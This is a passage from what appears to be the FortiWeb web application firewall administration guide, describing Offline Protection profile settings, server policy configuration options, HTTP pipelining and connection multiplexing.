- You select features requiring session cookies, such as [Hidden Fields Protection Rule](#) (page 274)
- In any policy, you will select an auto-learning profile with this profile.
- You want to include this profile's traffic in the traffic log.

Session Timeout

Type the HTTP session timeout in seconds.

After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session.

This option appears only if [Session Management](#) (page 271) is enabled. The default is 1200 (20 minutes). The valid range is from 20 to 3,600 seconds.

X-Forwarded-For

Select the X-Forwarded-For: and X-Real-IP: HTTP header settings to use, if any. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

Note: Configuring this option is **required** if the true IP address of the client is hidden from FortiWeb because a load balancer or other web proxy is deployed in front. In that case, you **must** configure an X-header rule so that FortiWeb will block only requests related to the original client. Otherwise, it may block **all** requests whenever any attack occurs, since all requests will appear to originate from the proxy's IP.

Session Key

Type the name of the session ID, if any, that your web application uses in the URL to identify each session.

By default, FortiWeb tracks some common session ID names: ASPSESSIONID, PHPSESSIONID, and JSESSIONID. Configure this field if your web application uses a custom or uncommon session ID. In those cases, you do not need to configure this setting.

For example, in the following URL, a web application identifies its sessions using a parameter with the name `mysession`:

`page.php?mysession=123ABC&user=user1`

In that case, you must configure **Session Key** to be `mysession` so that FortiWeb will be able to recognize the session ID, 123ABC, and apply features that require sessions in order to function.

This option appears only if [Session Management](#) (page 271) is enabled.

Signatures

Select the name of the signature set, if any, that FortiWeb applies to

matching requests.

Attack log messages for this feature vary by which type of attack was detected. For a list, see ["Blocking known attacks & data leaks"](#) on page 505.

Note: If a **WAF Auto Learning Profile** will be selected in the policy with this profile, you should select a signature set whose **Action** is **Alert**. If the **Action** is **Alert & Deny**, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.

Enable AMF3 Protocol Detection

Enable to scan requests that use action message format 3.0 (AMF3) for:

- Cross-site scripting (XSS) attacks
- SQL injection attacks
- Common exploits

and other attack signatures that you have enabled in [Signatures](#) (page 272).

AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software.

Caution: To scan for attacks or enforce input rules on AMF3, you **must** enable this option. Failure to enable the option will cause the FortiWeb appliance to be unable to scan AMF3 requests for attacks.

Enable XML Protocol Detection

Enable to scan for matches with attack and data leak signatures in Web 2.0 (XML AJAX) and other XML submitted by clients in the bodies of HTTP `POST` requests.

Illegal XML Format

Enable to validate that XML elements and attributes in the request's body conforms to the [W3C XML 1.1](#) and/or [XML 2.0](#) standards. Malformed XML, such as without the final `>` or with multiple `>>` in the closing tag, is often an attempt to exploit an unhandled error condition in a web application's XHTML or XML parser.

If the request fails the validation, FortiWeb takes the specified action.

Attack log messages contain `Illegal XML Format` when this feature detects malformed XML.

- **Alert**—Accept the request and generate an alert email, log message, or both.
- **Alert & Deny**—Block the request and generate an alert, log message, or both.

In addition, select a severity level and trigger policy.

Available only when [Enable XML Protocol Detection](#) (page 273) is **On**.

Enable JSON Protocol Detection	Enable to scan for matches with attack and data leak signatures in JSON data submitted by clients in HTTP requests with <code>Content-Type</code>: values <code>application/json</code> or <code>text/json</code>.
Illegal JSON Format	Enable to scan for illegal formatting in JSON data. If FortiWeb detects illegal formatting, it takes the specified action. • Alert—Accept the request and generate an alert email, log message, or both. • Alert & Deny—Block the request and generate an alert, log message, or both. In addition, select a severity level and trigger policy. Available only when Enable JSON Protocol Detection (page 274) is On.
Custom Policy	Select the name of a combination source IP, rate limit, HTTP header, and URL access policy, if any, that is applied to matching requests. For details, see "Combination access control & rate limiting" on page 480. Attack log messages contain <code>Advanced Protection Violation</code> when this feature detects a violation.
Padding Oracle Protection	Select the name of padding oracle protection rule, if any, that will be applied to matching requests. For details, see "Defeating cipher padding attacks on individually encrypted inputs" on page 534. Attack log messages contain <code>Padding Oracle Attack</code> when this feature detects a violation.
Parameter Validation Rule	Select the name of the HTTP parameter validation rule, if any, that will be applied to matching requests. For details, see "Validating parameters ("input rules")" on page 553. Attack log messages contain <code>Parameter Validation Violation</code> when this feature detects a parameter rule violation. Note: If a WAF Auto Learning Profile will be selected in a server policy using this profile, you should select a parameter validation rule whose Action is Alert. If the Action is Alert & Deny, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.
Hidden Fields Protection Rule	Select the name of a hidden fields group, if any, that will be applied to matching requests. For details, see "Preventing tampering with hidden inputs" on page 560. Attack log messages contain <code>Hidden Field Manipulation</code> when this feature detects hidden input tampering. This option appears only if Session Management (page 271) is

	enabled.
File Upload Restriction Policy	Select an existing file upload restriction policy, if any, that will be applied to matching requests. For details, see "Limiting file uploads" on page 590. Attack log messages contain <code>Illegal file size</code> when this feature detects an excessively large upload.
HTTP Protocol Constraints	Select the name of an HTTP protocol constraint, if any, that will be applied to matching requests. For details, see "HTTP/HTTPS protocol constraints" on page 568. Attack log messages for this feature vary by which type of attack was detected. For a list, see "HTTP/HTTPS protocol constraints" on page 568.
URL Access Policy	Select the name of the URL access policy, if any, that will be applied to matching requests. For details, see "Restricting access to specific URLs" on page 475. Attack log messages contain <code>URL Access Violation</code> when this feature detects a request that violates this policy. Note: Do not select an URL access policy if this Offline Protection profile will be used in a policy with WAF Auto Learning Profile. Selecting an URL access policy will cause the FortiWeb appliance to reset the connection when it detects a request with a blocked URL and <code>Host:</code> field combination, resulting in incomplete session information for the auto-learning feature.
Allow Request Method Policy	Select an existing allowed method policy, if any, that will be applied to matching requests. For details, see "Specifying allowed HTTP methods" on page 564. Attack log messages contain <code>HTTP Method Violation</code> when this feature detects a non-allowed HTTP request method. Note: If a WAF Auto Learning Profile will be selected in a server policy using this profile, you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
Brute Force Login	Select the name of a brute force login attack profile, if any, that will be applied to matching requests. For details, see "Preventing brute force logins" on page 619. Attack log messages contain <code>Brute Force Login Violation</code> when this feature detects a brute force login attack.
IP List Policy	Select the name of a client black list or white list, if any, that will be applied to matching requests. For details, see "Blacklisting &

	whitelisting clients using a source IP or source IP range" on page 490. Attack log messages contain <code>Blacklisted IP blocked</code> when this feature detects a blacklisted source IP address.
Geo IP	Select the name of a geographically-based client black list, if any, that will be applied to matching requests. For details, see "Blacklisting & whitelisting countries & regions" on page 488.
IP Reputation	Enable to apply IP reputation-based blacklisting. For details, see "Blacklisting source IPs with poor reputation" on page 485.
Allow Known Search Engines	Enable to exempt popular search engines' spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called "advanced protection" and "custom policies" in the web UI). This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be abnormal for web browsers are often normal with search engines. If you block them, your websites' rankings and visibility may be affected. By default, this option allows all popular predefined search engines. To specify which search engines will be exempt, click the Details link. A new frame will appear on the right side of the protection profile. Enable or disable each search engine, then click Apply. See also "Blacklisting content scrapers, search engines, web crawlers, & other robots" on page 492.
File Uncompress Rule	Select the name of a file decompression policy, if any, that will be applied to matching requests. For details, see "Configuring temporary decompression for scanning & rewriting" on page 647.
User Tracking	Select the name of a user tracking policy, if any, to use for matching requests. For details, see "Tracking users" on page 382.
Data Analytics	Enable to gather hit, attack, and traffic volume statistics for each server policy that includes this profile. For details, see "Configuring policies to gather data" on page 730 and "Viewing website statistics" on page 731. Note: This option cannot be enabled until you have uploaded a geography-to-IP mapping database. For details, see "Updating data analytics definitions" on page 731.

To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click **Detail**.

5. Click **OK**.
6. If you will use this Offline Protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.

7. To apply the Offline Protection profile, select it in a policy. For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["How operation mode affects server policy behavior"](#) on page 257
- ["HTTP sessions & security"](#) on page 70
- ["Configuring a server policy"](#) on page 277

Configuring a server policy

Configure server policies by combining your rules, profiles, and sub-policies.

Server policies:

- Block or allow connections
- Apply a protection profile that specifies how FortiWeb scans or processes the HTTP/HTTPS requests that it allows
- Route or let pass traffic to destination web servers
- Optionally, use an auto-learning profile to gather additional information about your HTTP/HTTPS traffic for use as guidance when modifying the policy or profiles

Until you configure and enable at least one policy, FortiWeb will, by default:

- **when in Reverse Proxy mode, deny all traffic.**
- **when in other operation modes, allow all traffic.**

Server policy behavior and supported features vary by operation mode. For details, see ["How operation mode affects server policy behavior"](#) on page 257. It also varies by whether or not the policy uses IPv6 addresses.

To achieve more complex policy behaviors and routing, you can chain multiple policies together. For details, see ["Defining your web servers"](#) on page 390.

Do not configure policies you will not use. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies unnecessarily consumes memory and decreases performance.



If a policy has **any** virtual servers or a server pool members with IPv6 addresses, it does **not** apply features that do not yet support IPv6, even if they are selected.

To configure a policy

1. Before you configure a policy, you usually should first configure any of the following that you must, or want to, include in the policy:



Alternatively, you can create missing components on-the-fly while configuring the policy, without leaving the page. To do this, select **Create New** from each policy component's drop-down menu.

However, when creating many components, you can save time by leaving the

policy page, going to the other menu areas, and creating similar profiles by cloning, then modifying each clone.

Generally speaking, because policies tie other components together and apply them to client's connections with your web servers, they should be configured last. For details, see ["Workflow"](#) on page 54.

- If the policy will govern secure connections via HTTPS, you must upload the web server's certificate, define a certificate verification rule, and possibly also an intermediate CA certificate group. For details, see ["Secure connections \(SSL/TLS\)"](#) on page 430.
- Define your web servers by configuring either physical servers or domain servers within a server pool. You can use the pools to distribute connections among the servers. For details, see ["Creating a server pool"](#) on page 397.
- Define one or more HTTP content routing policies that forward traffic based on headers in the HTTP layer. For details, see ["Routing based on HTTP content"](#) on page 408.
- Define one or more host names or IP addresses if you want to accept or deny requests based upon the `Host :` field in the HTTP header. For details, see [""Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.
- Configure a virtual server or V-zone to receive traffic on the FortiWeb appliance. For details, see ["Configuring virtual servers on your FortiWeb"](#) on page 425 or ["Configuring a bridge \(V-zone\)"](#) on page 171.
- Configure an inline or offline (out-of-band) protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 (any mode except Offline Protection) or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270 (Offline Protection mode only). To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see ["Auto-learning"](#) on page 202.
- If you want the FortiWeb appliance to gather auto-learning data, either configure an auto-learning profile and its required components or use the default. For details, see ["Running auto-learning"](#) on page 227.
- If you want to present a customized error page when a request is denied by a protection profile, edit the error page. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

2. Go to **Policy > Server Policy**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure the following settings.

The operation mode and **Deployment Mode** value determine which options are available.

Policy Name	Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Deployment Mode	Select the method of distribution that the FortiWeb appliance uses when it accepts connections for this policy. The deployment modes that are available depend on the types of

network topologies that the current operation mode supports.

- **Single Server/Server Balance**—Forwards connections to a server pool. Depending on the pool configuration, FortiWeb either forwards connections to a single physical server or domain server or distributes the connection among the pool members. Also configure a [Server Pool](#) (page 280). This option is available only in Reverse Proxy mode.
- **HTTP Content Routing**—Use HTTP content routing to route HTTP requests to a specific server pool. This option is available only in Reverse Proxy mode.

Note: HTTP/2 will not be available if [HTTP Content Routing](#) (page 280) is selected.

- **Offline Protection**—Allow connections to pass through the FortiWeb appliance, and apply an Offline Protection profile. Also configure a [Server Pool](#) (page 280). This option is available only in Offline Protection mode.
- **Transparent Servers**—Allow connections to pass through the FortiWeb appliance, and apply a protection profile. Also configure a [Server Pool](#) (page 280). This option is available only in True Transparent Proxy or Transparent Inspection mode.
- **WCCP Servers**—FortiWeb will act as a Web Cache Communication Protocol (WCCP) client that receives traffic from a FortiGate configured as a WCCP server. Also configure a [Server Pool](#) (page 280). This option is available only in WCCP mode.

Virtual Server

or

Data Capture Port

or

V-zone

Select the name of a virtual server, data capture (listening) network interface, or v-zone (bridge) according to the operation mode:

The name and purpose of these settings varies by operation mode:

- **Virtual Server**—Identifies the IP address and network interface of incoming traffic that FortiWeb routes and that the policy applies a profile to. This option is available only in Reverse Proxy mode.
- **Data Capture Port**—Identifies the network interface of incoming traffic that the policy applies a profile to. The IP address is ignored. This option is available only in Offline Protection mode.

If your FortiWeb model uses Data Plane Development Kit (DPDK) for packet processing (e.g., models 3000E, 3010E and 4000E), this option has the following limitations:

- Only physical interfaces can be data capture ports. These models do not support VLAN subinterfaces or link aggregate interfaces as data capture ports.
- You cannot edit the interface after you set it as a data capture port. If you need to configure the maximum transmission unit (MTU) for the interface (using the `config system interface` and `config system v-zone` CLI commands),

do it before you select the interface as a data capture port.

- **V-zone**—Identifies the network interface of the incoming traffic that the policy applies a profile to. This option is available in True Transparent Proxy and Transparent Inspection mode.

HTTP Content Routing

To specify HTTP content routing policies and options that this policy uses, click **Add**, then complete the following settings for each entry:

- **HTTP Content Routing Policy Name**—The name of the policy.
- **Inherit Web Protection Profile**—Specify whether FortiWeb applies the web protection profile for the server policy to connections that match the routing policy.
- **Web Protection Profile**—Select the profile to apply to connections that match the routing policy. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

Note: FortiWeb does not block clients with source IP addresses designated as a trusted IP. For details, see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490.

- **Default**—Specifies whether FortiWeb applies the specified protection profile to any traffic that does not match any HTTP content routing policy in the list.

You can specify up to 255 HTTP content routing policies in each server policy.

This option is available only in Reverse Proxy mode and when the **Deployment Mode** (page 278) is **HTTP Content Routing**.

Match Once

Enable to forward subsequent requests from an identified client connection to the same server pool as the initial connection from the client.

This option allows FortiWeb to improve its performance by skipping the process of matching HTTP header content to content routing policies for connections it has already evaluated and routed.

This option is available only in Reverse Proxy mode and when the **Deployment Mode** (page 278) is **HTTP Content Routing**.

Server Pool

Select the server pool whose members receive the connections. A server pool can contain a single physical server or domain server. For details, see ["Creating a server pool"](#) on page 397.

This option is available only if the **Deployment Mode** (page 278) is **Single Server/Server Pool**, **Offline Protection**, **Transparent Server**, or **WCCP Servers**.

Caution: Multiple virtual servers/policies can forward traffic to the same server pool. If you do this, consider the total maximum load of

	connections that all virtual servers forward to your server pool. This configuration can multiply traffic forwarded to your server pool, which can overload them and cause dropped connections.
Protected Hostnames	Select a protected host names group to allow or reject connections based upon whether the <code>Host :</code> field in the HTTP header is empty or does or does not match the protected host names group. For details, see "Defining your protected/allowed HTTP "Host:" header names" on page 388. If you do not select a protected host names group, FortiWeb accepts or blocks requests based on other criteria in the policy or protection profile, but will not accept or block requests based on the <code>Host :</code> field in the HTTP header. Attack log messages contain <code>HTTP Host Violation</code> when this feature detects a hostname that is not allowed.. Caution: Unlike HTTP 1.1, HTTP 1.0 does not require the <code>Host :</code> field. The FortiWeb appliance does not block HTTP 1.0 requests because they do not have this field, regardless of whether or not you have selected a protected host names group.
Client Real IP	Select to configure FortiWeb to use the source IP address of the client that originated the request when it connects to a back-end server on behalf of that client. This option is available only in Reverse Proxy mode. By default, when the operation mode is Reverse Proxy, the source IP for connections between FortiWeb and back-end servers is the address of a FortiWeb network interface. Note: To ensure FortiWeb receives the server's response, configure FortiWeb as the server's gateway.
Blocking Port	Select which network interface FortiWeb uses to send TCP <code>RST</code> (connection reset) packets when it attempts to block the request or connection after it detects traffic that violates a policy. For details on blocking behavior, see "Topology for Offline Protection mode" on page 108. This option is available only in Offline Protection mode.
Syn Cookie	Enable to prevent TCP <code>SYN</code> floods. Also configure Half Open Threshold (page 281). For details, see "Preventing a TCP SYN flood" on page 617. This option is available only in Reverse Proxy, True Transparent Proxy, and WCCP mode.
Half Open Threshold	Type the TCP <code>SYN</code> cookie threshold in packets per second. Also configure Syn Cookie (page 281).

	Available only when the operating mode is Reverse Proxy, True Transparent Proxy, or WCCP.
HTTP Service	Select the custom or predefined service that defines the TCP port number where the virtual server receives HTTP traffic. This option is available only in Reverse Proxy mode.
HTTPS Service	Select the custom or predefined service that defines the TCP port number where the virtual server receives HTTPS traffic. Also configure Certificate (page 282). Enable if requests from clients to the FortiWeb appliance or back-end servers use SSL or TLS. See also "Supported cipher suites & protocol versions" on page 432. When enabled, the FortiWeb appliance handles SSL negotiations and encryption and decryption, instead of the web servers, also known as SSL offloading. For details, see "Offloading vs. inspection" on page 430. Connections between the client and the FortiWeb appliance are encrypted. The server pool configuration specifies whether connections between the FortiWeb appliance and each web server are encrypted. This option is available only in Reverse Proxy mode. For other operation modes, use the server pool configuration to enable SSL inspection. For details, see "Creating a server pool" on page 397. Caution: If you do not enable an HTTPS option and provide a certificate for HTTPS connections, FortiWeb cannot decrypt connections and scan content in the HTTP body. Tip: FortiWeb appliances contain specialized hardware to accelerate SSL processing. Offloading SSL/TLS processing can improve the performance of secure HTTP (HTTPS) connections.
HTTP/2	Enable FortiWeb to negotiate HTTP/2 with clients via SSL ALPN (Application-Layer Protocol Negotiation) during the SSL handshake if the client's browser supports the HTTP/2 protocol. If HTTP/2 is enabled, FortiWeb will recognize HTTP/2 traffic and apply the security services to it. Note: This option is available only if the Deployment Mode (page 278) is Single Server/Server Pool and HTTPS Service is configured correctly. This is because FortiWeb supports HTTP/2 only for HTTPS connections and HTTP Content Routing is not supported for HTTP/2. To configure HTTP/2 in True Transparent Proxy mode, see "HTTP/2 support" on page 69
Certificate	Select the server certificate that FortiWeb uses to encrypt or decrypt SSL-secured connections.

	For details, see "Uploading a server certificate" on page 446 and "Offloading vs. inspection" on page 430. If Enable Server Name Indication (SNI) (page 286) is selected, FortiWeb uses a Server Name Indication (SNI) configuration instead of or in addition to this server certificate. Available only if you specify a value for HTTPS Service (page 282).
Certificate Intermediate Group	Select the name of a group of intermediate certificate authority (CA) certificates, if any, that FortiWeb presents to clients. An intermediate CA can complete the signing chain and validate the server certificate's CA signature. Configure this option when clients receive certificate warnings that an intermediary CA has signed the server certificate specified by the selected Certificate, not a root CA or other CA currently trusted by the client directly. Alternatively, you can include the entire signing chain in the server certificate itself before you upload it to FortiWeb. For details, see "Uploading a server certificate" on page 446 and "Supplementing a server certificate with its signing chain" on page 448. Available only if you specify a value for HTTPS Service (page 282).
Show/Hide advanced SSL settings	Click to show or hide the settings that allow you to specify a Server Name Indication (SNI) configuration, increase security by disabling specific versions of TLS and SSL for this policy, and other advanced SSL settings. For example, if FortiWeb can use a single certificate to decrypt and encrypt traffic for all the websites that reside on the servers in a pool, you may not have to set any advanced SSL settings. Available only if you specify a value for HTTPS Service (page 282).
Add HSTS Header	Enable to combat MITM attacks on HTTP by injecting the RFC 6797 (http://tools.ietf.org/html/rfc6797) strict transport security header into the reply. For example: Strict-Transport-Security: max-age=31536000; includeSubDomains This header forces clients to use HTTPS for subsequent visits to this domain. If the certificate is invalid, the client's web browser receives a fatal connection error and does not display a dialog that allows the user to override the certificate mismatch error and continue. Available only if you specify a value for HTTPS Service (page 282) and select Show advanced SSL settings.
Max. Age	Specify the time to live in seconds for the HSTS header. Available only if Add HSTS Header (page 283) is selected.

Add HPKP Header

Select an HPKP profile, if any, to use to verify certificates when clients attempt to access a server.

HPKP prevents attackers from carrying out Man in the Middle (MITM) attacks with forged certificates. For details, see ["HTTP Public Key Pinning"](#) on page 452.

Available only if you specify a value for [HTTPS Service](#) (page 282).

Certificate Verification

Select the name of a certificate verifier, if any, that FortiWeb uses to validate an HTTP client's personal certificate.

Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the website (PKI authentication). If a User Tracking Policy or Site Publish rule fails to track a user, FortiWeb will attempt to track a user with his or her email address provided in the client certificate via **Certificate Verification**.

You can require clients to present a certificate instead of, or in addition to, HTTP authentication. For details, see ["Offloading HTTP authentication & authorization"](#) on page 343.

Available only if you specify a value for [HTTPS Service](#) (page 282).

For True Transparent Proxy mode, configure this setting in the server pool configuration instead. For details, see ["Certificate Verification"](#) on page 404.

Note: The client must support TLS 1.0, TLS 1.1, or TLS 1.2.

If you select [Enable Server Name Indication \(SNI\)](#) (page 286) and the domain in the client request matches an entry in the specified SNI policy, FortiWeb uses the SNI configuration to determine which certificate verifier to use instead.

If you do not select a verifier, clients are not required to present a personal certificate. For details, see ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454.

Enable URL Based Client Certificate

Specifies whether FortiWeb uses a URL-based client certificate group to determine whether a client is required to present a personal certificate.

Available only if you specify a value for [HTTPS Service](#) (page 282) and select **Show advanced SSL settings**.

Note: This function is not supported for HTTP/2 communication between the Client and this back-end web server.

URL Based Client Certificate Group

Specifies the URL-based client certificate group that determines whether a client is required to present a personal certificate.

If the URL the client requests does not match an entry in the group, the client is not required to present a personal certificate.

	For information on creating a group, see "Use URLs to determine whether a client is required to present a certificate" on page 466. Available only if Enable URL Based Client Certificate (page 284) is selected.
Max HTTP Request Length	Specifies the maximum allowed length for an HTTP request with a URL that matches an entry in the URL-based client certificate group. FortiWeb blocks any matching requests that exceed the specified size. This setting prevents a request from exceeding the maximum buffer size. Available only if Enable URL Based Client Certificate (page 284) is selected.
Enable OCSP Stapling	Click to enable OCSP stapling for the certificate specified in Certificate (page 282). For details, see "Configuring OCSP stapling" on page 473. Available only in Reverse Proxy mode if you specify a value for HTTPS Service (page 282) and select Show advanced SSL settings. To enable OCSP stapling when the type is True Transparent Proxy or WCCP, you must configure it in a server pool. For details, see Enable OCSP Stapling (page 406).
OCSP Stapling Group	Select an OCSP stapling policy to apply to the certificate specified in Certificate (page 282). Available only if Enable OCSP Stapling (page 285) is selected.
Client Certificate Forwarding	Enable to configure FortiWeb to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an <code>X-Client-Cert</code>: HTTP header when it forwards the traffic to the protected web server. FortiWeb still validates the client certificate itself, but this forwarding action can be useful if the web server requires the client certificate for server-side identity-based functionality Note: It is necessary to set Certificate Verification (page 284) to make this option effective. Available only if you specify a value for HTTPS Service (page 282) and select Show advanced SSL settings.
Custom Header of CCF Subject	Enter a custom subject header that will be inserted in the X.509 personal certificate presented by the client during the SSL/TLS handshake. Available only if Client Certificate Forwarding (page 285) is selected.

Customer Header of CCF Certificate	Enter a custom certificate header that will be inserted in the X.509 personal certificate presented by the client during the SSL/TLS handshake. Available only if Client Certificate Forwarding (page 285) is selected.
Enable Server Name Indication (SNI)	Select to use a Server Name Indication (SNI) configuration instead of or in addition to the server certificate specified by the Certificate (page 282). The SNI configuration enables FortiWeb to determine which certificate to present on behalf of the members of a pool based on the domain in the client request. For details, see "Allowing FortiWeb to support multiple server certificates" on page 450. If you specify both an SNI configuration and Certificate (page 282), FortiWeb uses the certificate specified by Certificate (page 282) when the requested domain does not match a value in the SNI configuration. Available only if you specify a value for HTTPS Service (page 282) and select Show advanced SSL settings.
Enable Strict SNI	Select so that FortiWeb will ignore the Certificate when it determines which certificate to present on behalf of server pool members, even if the domain in a client request does not match a value in the SNI configuration. Available only if Enable Server Name Indication (SNI) (page 286) is selected.
SNI Policy	Select the Server Name Indication (SNI) configuration that determines which certificate FortiWeb presents on behalf of the members of a server pool. Available only if Enable Server Name Indication (SNI) (page 286) is selected.
SSL Protocols	Specify which versions of the SSL or TLS cryptographic protocols clients can use to connect securely to the FortiWeb appliance or back-end servers. For details, see "Supported cipher suites & protocol versions" on page 432. Available only if you specify a value for HTTPS Service (page 282) and select Show advanced SSL settings.
SSL/TLS encryption level	Specify whether the set of cipher suites that FortiWeb allows creates a medium-security, high-security or customized security configuration. If you select Customized, you can select a cipher and then use the

arrow keys to move it to the appropriate list.

For details, see ["Supported cipher suites & protocol versions"](#) on page 432.

Available only if you specify a value for [HTTPS Service](#) (page 282) and select **Show advanced SSL settings**.

Disable Client-Initiated SSL Renegotiation

Select to configure FortiWeb to ignore requests from clients to renegotiate TLS or SSL.

Protects against denial-of-service (DoS) attacks that use TLS/SSL renegotiation to overburden the server.

Available only if you specify a value for [HTTPS Service](#) (page 282) and select **Show advanced SSL settings**.

Redirect HTTP to HTTPS

Select to automatically redirect all HTTP requests to the HTTPS service with the same URL and parameters. If you select this option, configure [HTTPS Service](#) (page 282) and ensure the service uses port 443.

If selected, FortiWeb does not apply the protection profile for this policy specified by the [Web Protection Profile](#) (page 287) to the redirected traffic.

This option can replace redirection functionality that you create using URL rewriting rules. For details, see ["Example: HTTP-to-HTTPS redirect"](#) on page 628.

This option is available only in Reverse Proxy mode.

Web Protection Profile

Select the profile to apply to the connections that this policy accepts, or select **Create New** to add a new profile in a pop-up window, without leaving the current page.

For details on specific protection profiles, see one of the following topics:

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270

Note: The current operation mode determines which profiles are available. For details, see ["How operation mode affects server policy behavior"](#) on page 257.

Note: FortiWeb does not block clients with source IP addresses designated as a trusted IP. For details, see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490.

If the [Deployment Mode](#) (page 278) is set to **HTTP Content Routing**, this option is effective when you create the list of content routing policies.

View Profile Details	Click to display the settings of the current profile without leaving the current page. When viewing a profile, you can also modify its settings from here. To return to the policy settings, click Back to Policy Settings.
Auto Learn Profile	Select the auto-learning profile, if any, to use in order to discover attacks, URLs, and parameters in your web servers' HTTP sessions. You can also select Create New to add a new auto-learning profile in a pop-up window without leaving the current page. For details, see "Configuring an auto-learning profile" on page 225.
Monitor Mode	Enable to override any actions included in the profiles. Instead, FortiWeb will accept all requests and generate an alert email and/or log message for all policy violations. This setting does not affect any rewriting or redirection actions in the protection profiles, including the action to remove poisoned cookies. To collect complete session information and build accurate protection profiles, auto-learning requires that you either configure all actions to be Alert or enable this option. Caution: When this option is enabled, FortiWeb ignores the Action setting (deny, redirect, etc.) in protection profile components, which permits attack attempts to complete. Note: Logging and/or alert email occur only if you enable and configure them. For details, see "Logging" on page 690 and "Alert email" on page 712.
URL Case Sensitivity	Enable to differentiate uniform resource locators (URLs) according to upper case and lower case letters for features that act upon the URLs in the headers of HTTP requests, such as start page rules, IP list rules, and page access rules. For example, when this option is enabled, an HTTP request involving <code>http://www.Example.com/</code> would not match profile features that specify <code>http://www.example.com</code> (difference is lower case "e").
Comments	Type a description or other comment. The description can be up to 999 characters long.

5. Click **OK**.

The server policy is displayed in the list on **Policy > Server Policy**. Initially, it is enabled. For details on disabling a policy without deleting it, see "[Enabling or disabling a policy](#)" on page 291.

Legitimate traffic should now be able to flow, while policy-violating traffic (that is, traffic that is prohibited by the settings in your policy or protection profile) may be blocked, depending on your **Action** settings for the rule that the traffic has violated.

Whitelisted items are **not** included in policy enforcement. For details, see "[Configuring the global object white list](#)" on page 258.

6. To verify the policy, test it by forming connections between legitimate clients and servers at various points within your network topology. Also attempt to send traffic that violates your policy, and should be logged, modified, or blocked.



If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify that your policy is blocking attacks as you expect. For details, see ["Vulnerability scans"](#) on page 650.

If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the appliance or elsewhere on the network. For details, see ["Troubleshooting"](#) on page 756 and ["Reducing false positives"](#) on page 751. Also consider troubleshooting recommendations included with each feature's instructions.

See also

- ["HTTP pipelining"](#) on page 289
- ["How operation mode affects server policy behavior"](#) on page 257
- ["How to offload or inspect HTTPS"](#) on page 439
- ["Forcing clients to use HTTPS"](#) on page 452
- ["Enabling or disabling a policy"](#) on page 291
- ["Sequence of scans"](#) on page 56
- ["External load balancers: before or after?"](#) on page 98
- ["HTTP sessions & security"](#) on page 70

HTTP pipelining

For clients that support HTTP 1.1, FortiWeb accelerates transactions by bundling them inside the same TCP connection, instead of waiting for a response before sending/receiving the next request. This can increase performance when pages containing many images, scripts, and other auxiliary files are all hosted on the same domain, and therefore logically could use the same connection.

Many browsers used on smart phones prefer to pipeline their HTTP requests.

When FortiWeb is operating in Reverse Proxy or True Transparent Proxy mode, it can automatically use HTTP pipelining for requests with the following characteristics:

- HTTP version is 1.1
- The Connection general-header field does not include the "close" option (for example, `Connection: close`)
- The HTTP method is `GET` or `HEAD`

Although it is enabled by default, you can use a CLI command to disable or re-enable HTTP pipelining for a specific server policy.

To disable or enable HTTP pipelining

1. Connect to the CLI.
2. In each policy that requires it, enter these commands:

```
config server-policy policy
  edit <policy_name>
    set http-pipeline {enable | disable}
```

```
    next  
end
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

See also

- "Defining your protected/allowed HTTP "Host:" header names" on page 388
- "Defining your web servers" on page 390

Multiplexing client connections

By default, FortiWeb establishes a connection with the server for each client that makes a request to the server. When a client makes a request, FortiWeb creates a connection to the server for that client's request. If a second client makes a request, FortiWeb creates another connection to the server for the second client's request.

You can configure multiplexing so that FortiWeb uses a single connection to a server for requests from multiple clients. If multiplexing is configured, when a client makes a request, FortiWeb establishes a connection to the server for that client's request. Once the request has been completed, FortiWeb caches the connection. If a second client then makes a request to the server, FortiWeb uses the cached connection for the second client's request. You can configure the circumstances in which FortiWeb caches a server connection and reuses it for requests from other clients.

To configure multiplexing

1. Connect to the CLI.
2. In each policy that requires it, enter these commands:

```
config server-policy server-pool
  edit <server_pool_name>
    set http-reuse {aggressive | always | never | safe}
    set reuse-conn-idle-time <int>
    set reuse-conn-max-count <int>
    set reuse-conn-max-request <int>
    set reuse-conn-total-time <int>
  next
end
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Enabling or disabling a policy

You can individually enable and disable policies.



When the operation mode is Reverse Proxy, disabling a policy could block traffic if no remaining active policies match that traffic. When no policies exist or none are enabled, the FortiWeb appliance blocks all HTTP/HTTPS traffic.

